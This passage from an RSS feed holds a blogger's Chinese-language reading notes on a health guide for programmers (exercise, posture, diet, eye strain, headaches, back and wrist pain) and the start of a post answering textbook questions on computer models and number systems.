&lt;li&gt;在最近5年内，你的蛀牙是否增加了?&lt;/li&gt;
&lt;li&gt;弯下腰系鞋带时，你是否感到不适?&lt;/li&gt;
&lt;li&gt;过去5年内，你的腰围是否明显增大了?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于这些问题，哪怕只有一个答案是肯定的，那么你的健康状况就可能处在危险边缘—即使你认为自己的身体状况保持得还不错。&lt;/p&gt;
&lt;p&gt;体育锻炼不但能促进蛋白质的生成，从而巩固脑组织的神经化学物质平衡，还能提高大脑的氧气和葡萄糖水平，进而提高我们的认知能力。&lt;/p&gt;
&lt;p&gt;改变习惯的关键在于，在维持原先的暗示信号和奖赏的同时，以新的惯例行为代替旧惯例行为。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;锁定暗示信号&lt;/li&gt;
&lt;li&gt;锁定奖赏&lt;/li&gt;
&lt;li&gt;设计新的惯例行为&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二章 努力健康起来吧&lt;/h2&gt;
&lt;p&gt;出去走个5分钟或10分钟，回来再继续读下去。随着血液回流到大脑，你会发现自己的思考能力、记忆力和专注力都增强了。事实上，已有一些科学研究表明，这类锻炼对人们学习新事物的能力有直接的影响。&lt;/p&gt;
&lt;p&gt;研究显示，在学习新事物之前或之后进行体育锻炼，能帮你巩固记忆。&lt;/p&gt;
&lt;p&gt;每天锻炼20分钟，英年早逝的风险将有效地降低20%。&lt;/p&gt;
&lt;p&gt;受试者的步行强度应该以个人最大摄氧量的50%为准。和心率比较，这个说法好像复杂了些，因为每个人情况都各不相同。一般来说，最大摄氧量的50%大约是最大心率的60%。最大心率可以用220减去你的年龄得出。平均30岁左右的人，其基准心率需达到每分钟114下(114BPM)，达到这个数值的运动才是最有效果的。&lt;/p&gt;
&lt;p&gt;测量心率最简单的方法就是触摸颈部或者手腕的脉搏，下图是用手腕测量心率法。在10秒钟内测得脉搏跳动的次数，再用该数乘以6。我的是 90。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果遇到棘手的问题解决不了，不妨出去走一走。&lt;/li&gt;
&lt;li&gt;在学到新知识后，出去走一走。&lt;/li&gt;
&lt;li&gt;把车停在停车场最里边，这样就能多走一会儿路去办公室了。&lt;/li&gt;
&lt;li&gt;走楼梯，不坐电梯。&lt;/li&gt;
&lt;li&gt;玩电视游戏时，尽量选择需要四肢协作的游戏，而不是使用只需控制器的游戏。&lt;/li&gt;
&lt;li&gt;每两个星期测量一次静息心率。&lt;/li&gt;
&lt;li&gt;记录每天散步的步数，给自己设定一个目标。&lt;/li&gt;
&lt;li&gt;练习步行技巧，改掉不正确的步行方式。这肯定能帮你提速，而且还能让你避免受伤或过度疲劳。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三章 永别了，椅子？&lt;/h2&gt;
&lt;p&gt;每天坐着看一个小时电视，与死亡风险(不考虑具体原因)提高11%有一定的关联。&lt;/p&gt;
&lt;p&gt;每小时进行5分钟的活动，能降低患上许多致命疾病的风险。&lt;/p&gt;
&lt;p&gt;长时间保持单一姿势都是不妥当的。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每小时要休息5分钟。&lt;/li&gt;
&lt;li&gt;每天至少用三种不同的姿势工作。&lt;/li&gt;
&lt;li&gt;同一个姿势最好别持续20分钟以上。&lt;/li&gt;
&lt;li&gt;在工作时，最好做一些灵活性锻炼。&lt;/li&gt;
&lt;li&gt;定期测量血压，了解你适合用哪种测量方式，并注意血压有无产生很大变化。&lt;/li&gt;
&lt;li&gt;办公室应该备有不止一种椅子:一张常规的办公室椅子、一个健身球、一张高脚凳，甚至还可以有一张“自行车式办公桌”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四章 灵活的饮食方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;30%的水果及蔬菜;&lt;/li&gt;
&lt;li&gt;30%的谷物及淀粉类食品;&lt;/li&gt;
&lt;li&gt;16%的精益蛋白质(肉类、鱼类、蛋类和豆类食品);&lt;/li&gt;
&lt;li&gt;16%的牛奶及奶制品;&lt;/li&gt;
&lt;li&gt;8%的脂肪及糖类食品。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“一日五蔬果”计划建议你每天摄入五份水果或蔬菜，举个例子，早餐吃半个葡萄柚，午餐一份鲜果奶昔(如果共有150毫升，水果或蔬菜含量是百分之百，这就可以算两份蔬果了)，下午茶时间再吃一个苹果，晚餐则吃两小棵花椰菜。&lt;/p&gt;
&lt;p&gt;每天吃五份水果或蔬菜，以确保膳食结构的均衡营养。&lt;/p&gt;
&lt;p&gt;当首次产生吃的冲动时，只要能顺利克服，以后你都能更轻松应对。那是因为你可能同时正忙着写代码，这对大脑来说是一样的奖赏。已有研究表明，创作性问题的解决过程能够使大脑产生多巴胺，这和在吃东西时大脑得到的化学奖赏是一样的东西。&lt;/p&gt;
&lt;p&gt;第一步，让我们来计算你的身体每天所消耗的热量。用科学术语来说，这叫做“基础代谢率”(BMR)。计算基础代谢率最准确的方法是使用 Mifflin-St Jeor 公式。男性的计算公式如下(分别采用英制和公制单位表示):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;BMR=[4.5×体重(磅)]+[16×身高(英寸)]−(5×年龄)+5&lt;/code&gt;
&lt;code&gt;BMR=[10×体重(公斤)]+[6.25×身高(厘米)]−(5×年龄)+5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;尝试几种不同的饮食方案，别害怕失败，尽管去试试吧。&lt;/li&gt;
&lt;li&gt;把办公室的糖果罐子和软性饮料换成水果、蔬菜和水果冰沙。&lt;/li&gt;
&lt;li&gt;在蔬菜中加入沙拉酱或芝士，让它们变得更可口。&lt;/li&gt;
&lt;li&gt;试着每个周一不吃肉。&lt;/li&gt;
&lt;li&gt;计算BMR值。别忘了把通过锻炼燃烧的热量加进去。更加明确每天身体消耗热量。&lt;/li&gt;
&lt;li&gt;为饮食方案制定一些规则。你确实可以把某些项目排除在外，但如果把它们加到规则里，就更容易实现饮食目标了。例如，每天吃五份水果或者蔬菜。&lt;/li&gt;
&lt;li&gt;不要每天都计算热量，这事儿算不清楚的。相反，你只要认真计算某一天的热量值，将之作为参考数值，制定一个有效的系统或者其他能启发你的系统就行了。&lt;/li&gt;
&lt;li&gt;制定两份不同的饮食方案:一份是减肥用的，一份是能让你一生受用的。这两份都要能使你愉悦。&lt;/li&gt;
&lt;li&gt;对饮食方案使用迭代法。循序渐进地减少热量的摄入。对食物的不同分量进行测试。对客观条件做出反应。要学会灵活变通。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五章 预防头痛和眼部疲劳&lt;/h2&gt;
&lt;p&gt;程序员们最常见的病症是电脑视觉综合征(Computer Vision Syndrome，CVS)。那些每天在电脑前待三个小时或以上的人，90%都受到这种疾病的困扰。&lt;/p&gt;
&lt;p&gt;大多数视力测试应用软件都能够测试视敏度(从一段较远的距离查看视力检测表)、视网膜功能(通过检测因视网膜的变化而引起的视觉障碍)和色盲。&lt;/p&gt;
&lt;p&gt;使用度数准确的医学镜片很重要，如果度数不准确，你的眼睛要聚焦就更加费劲。过不了多久，眼睛周围的肌肉就会觉得疲劳，这样可能会导致头痛，甚至引发更多和视力有关的问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的脸离电脑屏幕有多近?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两者的距离应该在51厘米到101厘米之间。这个距离和你的手臂差不多长，所以可以用手臂直接比划一下。如果你能与屏幕来个击掌，那就离得太近了。如果碰不到屏幕，那最好挪近点。
在阅读字体较小的文章时，视距过远容易导致眼部疲劳。视距过近同样会导致眼部疲劳，因为眼部周围的肌肉需要更加费劲才能聚焦。这甚至有可能导致眼会聚障碍——眼睛无法左右转动，或无法保持会聚。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;显示器是不是比室内周围环境还要亮?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;亮度可能听起来很难判断，其实不然。举起这本书移向显示器(你读的要是电子版，则另换一本纸质书)。随着书移近显示器，如果书能被逐渐照亮的话，那你的显示器就太亮了(或室内环境太暗)。
如果室内和显示器的亮度差别太大，则极容易导致眼部疲劳。看了一会儿周围的环境，瞳孔会放大，再看回电脑的时候，你可能就得眯起眼睛。如果办公室有自然采光，那么白天的时候，最好根据室内光线的变化来调整显示器的亮度。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;显示器有没有过度炫光?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要想了解这一点，你可以调整视线，好像看着显示器后面的某样东西一样。你看到什么了?如果能从显示屏上看见它反射出你身后的窗户，那它的炫光就很强了。炫光对眼睛造成的损害，和亮度过高的显示器对眼睛的损害，原理是差不多的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的显示屏颜色是红色为主还是蓝色?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总的来说，红色调的光线比蓝色调的对眼睛的损害较轻。事实上，许多研究已表明蓝色光能对细胞结构产生危害。这与蓝色光线中那些较短的光波(400~470纳米)有关，它们的数值已经非常接近紫外线的数值了。人眼的晶状体和眼角膜——我们会在下面的插图标出这两个结构的位置——能过滤紫外线，而蓝色光线则能顺利通过，因此对视网膜危害极大。通过降低显示屏的色温，你可以减少眼睛与蓝色光线的接触，也能效减少显示器释放蓝色光线。不过这样一来，制作平面图或者视觉媒体时就可能会产生色差了。如果没法调节色温，那就把电脑桌面背景、IDE配色方案或其他需要长久注视的地方换成红色系。
CVS是一种暂时现象，是由眼睛长期注视电脑屏幕导致的。其症状包括头痛、眼睛干涩、眼部刺激、眼睛充血、视力模糊、颈部疼痛、眼部疲劳、视觉重影和眼睛无法聚焦等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;经常眨眼&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;经常眨眼能保持眼睛的湿润，还可强化眼角膜外的保护膜。在电脑面前工作时，我们眨眼的次数变少了，顶多是平时的五分之一。这就使眼睛很快变得干涩。因此，要提醒自己经常眨眼，最好是每20分钟提醒一次。缓缓合上眼睛，好像睡着那样，然后再睁开眼，重复10次。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进行眼部锻炼&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;眼部疲劳的首要原因，就是它们总是长时间保持对某个点的聚焦。想象一下长时间提着某一样重物，过一会儿你就得换个手，对不对?因此，锻炼眼部也是很有必要的。记住“20-20-20法则”:每在电脑前面工作20分钟，就看看20英尺(6米)远的物体，大概看20秒钟。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注意休息&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总听别人说要注意休息，你应该都听腻了吧。但是让你休息还有另外一个原因:按照美国国家职业安全卫生研究所的说法，电脑工作者在工作时，如果能多休息4次，每次5分钟，就能有效缓解眼睛不适和疲劳。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;摘掉眼镜&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;许多近视者在使用电脑其实不需要戴眼镜。尝试摘下眼镜，你会发现没戴眼镜也能看清楚。事实上，很多验光师都建议，尽可能不要总戴着眼镜。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用滤光眼镜(可能的话)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果在用电脑时可以不戴眼镜，还可以试试滤光眼镜。滤光眼镜制造商声称，这种眼镜能提供更舒适的佩戴体验和视觉环境，从而过滤“人造”光线，降低眼压。有一些早期的研究显示这种技术有助于减少眼部刺激、眼睛干涩、流泪及眼部疲劳。但是，也没有明确的证据表明它们一定有用。这方面还需要进一步研究和验证。&lt;/p&gt;
&lt;p&gt;头痛的原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;天气：低气压、高温、高海拔&lt;/li&gt;
&lt;li&gt;荷尔蒙：月经期、怀孕期、更年期&lt;/li&gt;
&lt;li&gt;感官刺激：香水、清洁用品、强光、吸烟&lt;/li&gt;
&lt;li&gt;高强度体力活动：有氧锻炼、举重、脱水、性行为&lt;/li&gt;
&lt;li&gt;生活方式：缺乏睡眠、压力&lt;/li&gt;
&lt;li&gt;饮食方式：咖啡因、谷氨酸钠、阿斯巴甜、酒精&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;保持身体水份充足可预防头痛。因此，要确保每天都摄取了足够的水分，每顿正餐喝一大杯水(大约16盎司)，然后当晚再喝一杯。&lt;/p&gt;
&lt;p&gt;治疗头痛最好的方法，就是把灯光调暗，躺下来，闭上眼睛，试着放松。这个方法没有副作用，不会导致反弹性头痛。要是有可能，在前额放一条浸湿的凉毛巾。&lt;/p&gt;
&lt;p&gt;头痛的症状：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;头痛得厉害，好像要爆炸一样;&lt;/li&gt;
&lt;li&gt;头痛超过24小时，且越来越痛;&lt;/li&gt;
&lt;li&gt;因头痛而出现口齿不清、视力状况变化、手臂或腿无法动弹、身体失去平衡、头脑混乱或记忆退化等;&lt;/li&gt;
&lt;li&gt;因头痛而出现发烧、颈强直、恶心及呕吐等症状;&lt;/li&gt;
&lt;li&gt;因为头部受伤而引发的头痛;&lt;/li&gt;
&lt;li&gt;头痛时，一只眼睛有痛感且充血。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脸部和显示屏的距离应该保持在51至101厘米之间。&lt;/li&gt;
&lt;li&gt;调节显示器和办公室室内的亮度，达到平衡。&lt;/li&gt;
&lt;li&gt;经常眨眼，保持眼睛湿润，预防电脑视觉综合征。&lt;/li&gt;
&lt;li&gt;使用“20-20-20法则”来锻炼眼睛。&lt;/li&gt;
&lt;li&gt;留意一下，你在头痛前吃了什么东西。两者之间可能有关联。&lt;/li&gt;
&lt;li&gt;使用含有消炎药成分的药物(如果医生同意的话)来对抗头痛。但是别经常使用，头痛停止后也应该尽快停用药物。&lt;/li&gt;
&lt;li&gt;经常检查眼睛，以防出现某些没有症状的眼部疾病。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第六章 预防背部疼痛&lt;/h2&gt;
&lt;p&gt;观察背部疼痛有许多方法，其中最常用的办法应该是克劳斯韦伯体能测试(Kraus-Weber Test)。克劳斯韦伯测试(简称K-W测试)是关于“最低肌肉能力”的体能测试，用以衡量人体大肌肉群的力量和柔韧性。&lt;/p&gt;
&lt;p&gt;普拉提是一套系统的锻炼方法，以专注、呼吸和控制为原则，通过锻炼提高身体的能量源(即核心肌肉群，主要包括腹部、髋部和背部的肌群)的力量和柔韧性。大量新近的研究都发现，普拉提可以帮助慢性非特异性下背痛患者缓解疼痛、改善肌体功能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;身体要有支撑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;调整椅子的高度，给背部提供适当的支撑。髋部和膝盖应该保持在同一水平线，这样你的身体就不容易向椅子前面或后面滑动了。你可能还需要调整桌子的高度，使手肘和手腕保持在同一水平线上。这样一来，肩膀的压力小了，背部的压力也就相应小了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;平均分配身体重量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当你坐在椅子上时，要保证身体的重力平均地落在你身体四周的支撑物上。所以，你需要调整身体，让上半身与椅面垂直对齐，而且还要注意一些不利于身体平衡的姿势，比如翘二郎腿、驼背和身体歪向一边。通过调节椅子的高度，并且让上半身与椅面垂直对齐，这些小动作通常都能够避免。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脊椎要有支撑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;椅子最好要有腰部支撑部件，才能分担脊椎承受的重量和压力。很多椅子都装有一个可调节的腰部支撑配件，但其实只要保持正确坐姿就足够了(之前我们也说过了)。要给脊椎提供额外的支撑，建议你在腰部垫一条卷起的毛巾。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;双脚保持着地&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个最容易被人忽视的姿势就是双脚要着地。这样有助于支撑下半身的重量，保持身体平衡。如果脚碰不着地，但姿势是正确的，这时可以找一张搁脚凳来垫脚。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在每次锻炼中，轮换进行不同的无器械锻炼。如果你做腻了这些运动，可以试试一些普拉提或瑜伽动作。&lt;/li&gt;
&lt;li&gt;通过测试找到适合自己的坐姿。也许一开始保持正确的姿势很难，但你一定会找到最适合自己的坐姿。&lt;/li&gt;
&lt;li&gt;如果感觉背部疼痛，请马上起立。如果已经对办公桌进行了改良，那就继续站着写代码吧。&lt;/li&gt;
&lt;li&gt;用K-W测试进行自我评估，但别把测试内容作为日常锻炼。如果不断重复某些动作，比如单腿仰卧起坐，会加重背部疼痛。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第七章 预防手腕疼痛&lt;/h2&gt;
&lt;p&gt;手腕的神经滑动运动：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;爵士手&lt;/li&gt;
&lt;li&gt;皮影戏偶&lt;/li&gt;
&lt;li&gt;埃及人&lt;/li&gt;
&lt;li&gt;耸肩&lt;/li&gt;
&lt;li&gt;头部倾斜&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进行一些神经滑动运动，来润滑手臂的肌腱和神经，最终缓解手腕疼痛。&lt;/li&gt;
&lt;li&gt;如果很喜欢瑜伽课，就把它变成一项日常活动吧。你还可以把它安排到日常清单中的20分钟锻炼里。&lt;/li&gt;
&lt;li&gt;使用亚历山大疗法来观察、抑制和引导你每天重复无数次的坏习惯。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第八章 让锻炼贴近生活&lt;/h2&gt;
&lt;p&gt;使用番茄工作法。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用番茄锻炼法，为日常生活增加一些锻炼活动。&lt;/li&gt;
&lt;li&gt;在开始检查代码或者结对编程之前进行一些锻炼，以加强大脑的认知弹性。&lt;/li&gt;
&lt;li&gt;记录锻炼情况，写下自己每天做了什么(或者没做什么)。你可以使用本书的辅助iPhone应用，写锻炼日志轻而易举。&lt;/li&gt;
&lt;li&gt;玩游戏。不管是Wii的网球游戏还是现实的网球，游戏都能让健身变得充满乐趣。&lt;/li&gt;
&lt;li&gt;为自己设定目标，作为对自己的挑战。这是激励自己健身的最好方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第九章 到户外来思考&lt;/h2&gt;
&lt;p&gt;现在就去补充点维生素D吧。到户外去，卷起袖子，让皮肤暴露在阳光下，越多越好。如果室外正好阳光灿烂，你又能待上10分钟，你的身体就能合成足够一天使用的维生素D了。不过，从办公室窗户透进来的那些阳光不算，因为玻璃会过滤掉紫外线。&lt;/p&gt;
&lt;p&gt;肤色浅的人每天需要进行大约10分钟没有防晒措施的日光浴来合成足量的维生素D。如果你是西班牙裔，这个时间就得翻倍。而肤色非常深的人，则需要六倍的时间。&lt;/p&gt;
&lt;p&gt;预防感冒：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用香皂和清水勤洗手。如果手边没有水，美国疾病控制与预防中心(CDC)则建议经常使用含有酒精的产品对双手进行消毒。&lt;/li&gt;
&lt;li&gt;清洁办公桌。一些感冒病毒(例如鼻病毒)的存活时间能长达3个小时。使用杀菌消毒液清洁办公桌之类物品的表面能够防止病菌的传播。&lt;/li&gt;
&lt;li&gt;不要触摸脸部。感冒病毒可通过嘴、鼻子和眼睛进入人体。避免用手触摸这些器官则可以降低患病风险。&lt;/li&gt;
&lt;li&gt;经常进行户外活动。我们会在下一节重点探讨，为什么即使没有阳光，户外活动也能增强免疫系统，还能减少与传染性病毒携带者的接触。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比起城市环境，在森林里进行20分钟的步行或者常规活动，更加有益于身心健康。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每天花至少10分钟时间晒晒太阳，以使身体合成足够的维生素D。如果肤色较深，那么晒太阳的时间应该要更长些。&lt;/li&gt;
&lt;li&gt;了解家族病史，这会影响你为自己的健康所做的决定。&lt;/li&gt;
&lt;li&gt;不在都市，而是在森林进行一次步行。这种方式已经被证明能够舒缓压力、降低血压和心率，同时增强免疫系统。把步行所及的地点记录在锻炼日志中。&lt;/li&gt;
&lt;li&gt;到室外去工作。如果恰逢天气晴朗，那就别闷在办公室里，到公园里安排一次吧。&lt;/li&gt;
&lt;li&gt;放下工作，闻闻玫瑰花香——说真的。一些像常青树这样的自然气息能促进抗癌蛋白的生成。&lt;/li&gt;
&lt;li&gt;关掉iPod。森林环境对人体健康大有益处，很可能跟小鸟的鸣唱和森林的声音有关。&lt;/li&gt;
&lt;li&gt;安排一次到国家公园或者其他户外场所的旅行。尽量在户外待上三天，经证实，这能够促进某些血液白细胞的生成。&lt;/li&gt;
&lt;li&gt;把自己的身体当作一个系统。只有让健康保持平衡，身体才能正常运转。良好的膳食结构和大量的运动都是这个系统需要的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十章 重构健康&lt;/h2&gt;
&lt;p&gt;不管使用的是哪种锻炼方法，在进行循环训练时，必须时刻遵守以下原则:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个循环训练应该包含5至9个锻炼动作;&lt;/li&gt;
&lt;li&gt;每个具体的锻炼(动作)时间不宜超过30秒钟;&lt;/li&gt;
&lt;li&gt;每次循环训练时长应在12分钟与15分钟之间;&lt;/li&gt;
&lt;li&gt;在每次循环训练后最好休息2至3分钟，再继续下一个循环训练;每两个相邻的动作最好能锻炼到不同部位的肌肉;&lt;/li&gt;
&lt;li&gt;整个训练时间应持续30至60分钟。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在进行每一次循环训练时，可尝试调整所有动作的锻炼次序。你必须防止肌肉过早适应锻炼的强度，让每次锻炼都保持一定的难度。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在高强度锻炼前进行热身运动，能够避免受伤，让表现更加出色。&lt;/li&gt;
&lt;li&gt;参加一些需要复杂肢体动作的运动。这样有助于增强运动记忆，从而提高你在其他任务的表现，如编程。&lt;/li&gt;
&lt;li&gt;了解自己的BMI值。这种方法单独使用时并没有多少参考价值，但只要结合其他数据，就能为预测疾病风险提供可信的参考。&lt;/li&gt;
&lt;li&gt;使用本章推荐的跑步/步行计划来增强有氧运动能力。七周后，你就能一口气跑完2.4公里了。&lt;/li&gt;
&lt;li&gt;每周做两到三个循环训练，并在循环训练中加入本章介绍的高强度动作。&lt;/li&gt;
&lt;li&gt;在锻炼计划中加入无器械锻炼。&lt;strong&gt;如果长时间重复进行某种锻炼，肌肉就会产生适应性，那么锻炼效果就会越来越不明显。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在锻炼活动的尾声进行静态伸展运动。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十一章 组起队来&lt;/h2&gt;
&lt;p&gt;人们起码从公元一世纪就知道这个方法了，当时的罗马哲学家塞涅卡就曾写道: docendo discimus(拉丁语，意为“教学相长”)。从那时起，大量的实证研究也证明了，教授别人是学习的一种重要方式。事实上，一些研究甚至认为，进行关于某一主题的交谈就能够加深对该主题内容的理解。这就是所谓的“维果斯基联系理论”，它是以首次发现这个理论的俄国心理学家命名的。&lt;/p&gt;
&lt;p&gt;行动起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;谈论与健康有关的话题。问问你的同事，他们如何保持健康。告诉你的同事你如何保持健康。为自己的成果感到骄傲，并且与他人分享你的成功经验。&lt;/li&gt;
&lt;li&gt;表现出热情。你应该为自己的健康感到自豪，如果身边的人感受到你的自豪，他们势必会跟随你的脚步。&lt;/li&gt;
&lt;li&gt;跟老板讨论健康话题。如果你的公司非常关注员工的工作效率，那么他们也许会很乐意参考本书提供的建议。&lt;/li&gt;
&lt;li&gt;与同事互动。组织那些大家都可以参与的比赛或者运动小组。不过，要注意尽量选择能适应不同体能条件的运动，尽量让更多人参与进来。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;保持身心健康应该是充满乐趣的。坚持迭代和改变，直到找到能让自己身心愉悦的方法。&lt;/p&gt;
&lt;h2&gt;第十二章 继续行动吧，健康的程序员&lt;/h2&gt;
&lt;p&gt;无。&lt;/p&gt;
</content:encoded><category>Note</category></item><item><title>【习题解答】计算机科学导论</title><link>https://www.sulinehk.com/post/solution-for-foundations-of-computer-science/</link><guid isPermaLink="true">https://www.sulinehk.com/post/solution-for-foundations-of-computer-science/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第 1 章 绪论&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一种通用计算设备，所有的计算都可以执行。由数据处理器和程序组成。&lt;/li&gt;
&lt;li&gt;和图灵模型类似，区别在于，要求程序跟数据一样存储在存储器中。&lt;/li&gt;
&lt;li&gt;用来告诉计算机对数据进行处理的指令集合。&lt;/li&gt;
&lt;li&gt;用来告诉计算机对数据进行处理的指令集合。&lt;/li&gt;
&lt;li&gt;存储器、算术逻辑单元、控制单元、输入/输出。&lt;/li&gt;
&lt;li&gt;用来存储的区域，在计算机的处理过程中存储器用来存储数据和程序。&lt;/li&gt;
&lt;li&gt;用来进行计算和逻辑运算的地方。&lt;/li&gt;
&lt;li&gt;对存储器、算数逻辑单元、输入/输出等子系统进行控制操作的单元。&lt;/li&gt;
&lt;li&gt;输入子系统负责从计算机外部接收输入数据和程序；输出子系统负责将计算机的处理结果输出到计算机外部。&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;第一代计算机：以商用计算机的出现为主要特征；&lt;/li&gt;
&lt;li&gt;第二代计算机：使用晶体管代替真空管；&lt;/li&gt;
&lt;li&gt;第三代计算机：集成电路（晶体管、导线以及其它部件做在一块单芯片上）的发明更加减少了计算机的成本和大小；&lt;/li&gt;
&lt;li&gt;第四代计算机：出现了微型计算机；&lt;/li&gt;
&lt;li&gt;第五代计算机：见证了掌上计算机和台式计算机和诞生、第二代存储媒体（CD-ROM、DVD 等）的改进、多媒体的应用以及虚拟现实。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算机需要人为地定义输入数据和程序，才能产生输出数据。&lt;/li&gt;
&lt;li&gt;需要更多的输入数据和更复杂的程序。&lt;/li&gt;
&lt;li&gt;不符合。没有程序的概念。&lt;/li&gt;
&lt;li&gt;不符合。没有程序的概念。&lt;/li&gt;
&lt;li&gt;符合。有程序的概念。&lt;/li&gt;
&lt;li&gt;不符合。程序没有存储到存储器里面。&lt;/li&gt;
&lt;li&gt;不符合。程序没有存储到存储器里面。&lt;/li&gt;
&lt;li&gt;第一代计算机。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 2 章 数字系统&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;四进制系统，它是位置化数字系统。底 b = 4 并且用 4 个符号来表示一个数。符号集是 S = {0, 1, 2, 3}。数字写为：$\pm (S_{k - 1} \cdots S_2 S_1 S_0 . S_{-1} S_{-2} \cdots S_{-l})_{4}$。&lt;/li&gt;
&lt;li&gt;在位置化数字系统中，数字中符号所占据的位置决定了其表示的值。在非位置化数字系统中，位置与值无关。&lt;/li&gt;
&lt;li&gt;底或基数，即一个符号集中符号的数量。相同。&lt;/li&gt;
&lt;li&gt;逢十进一。decimal 来源于词根 decem。底 b = 10。&lt;/li&gt;
&lt;li&gt;逢二进一。binary 来源于词根 bini。底 b = 2。&lt;/li&gt;
&lt;li&gt;逢八进一。octal 来源于词根 octo。底 b = 8。&lt;/li&gt;
&lt;li&gt;逢十六进一。hexadecimal 来源于词根 hex 和 decem。底 b = 16。&lt;/li&gt;
&lt;li&gt;在这两个底之间存在一种关系：二进制中的 4 位恰好是十六进制中的 1 位。&lt;/li&gt;
&lt;li&gt;4 位。&lt;/li&gt;
&lt;li&gt;3 位。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;13；88；30.25；63.875。&lt;/li&gt;
&lt;li&gt;2738；291；2747；862.879。&lt;/li&gt;
&lt;li&gt;159；1497；399.875；17.14。&lt;/li&gt;
&lt;li&gt;100 1101 0010；101 1000；111 1100.0000 01；1110.1000 1。&lt;/li&gt;
&lt;li&gt;2204；143；13.315；110.631。&lt;/li&gt;
&lt;li&gt;237；583；C.215；10.8。&lt;/li&gt;
&lt;li&gt;14C；109；B.E；2AE。&lt;/li&gt;
&lt;li&gt;2432；2341；273.14；5274.15。&lt;/li&gt;
&lt;li&gt;15；130；36.2；77.7。&lt;/li&gt;
&lt;li&gt;D；58；1E.4；3F.E。&lt;/li&gt;
&lt;li&gt;111 1001；100 1110；1111 1111；1101 0110。&lt;/li&gt;
&lt;li&gt;11.101；1100.0000 111；100.0011 01；1100.101。&lt;/li&gt;
&lt;li&gt;$2^6 - 1$；$10^6 - 1$；$16^6 - 1$；$8^6 - 1$。&lt;/li&gt;
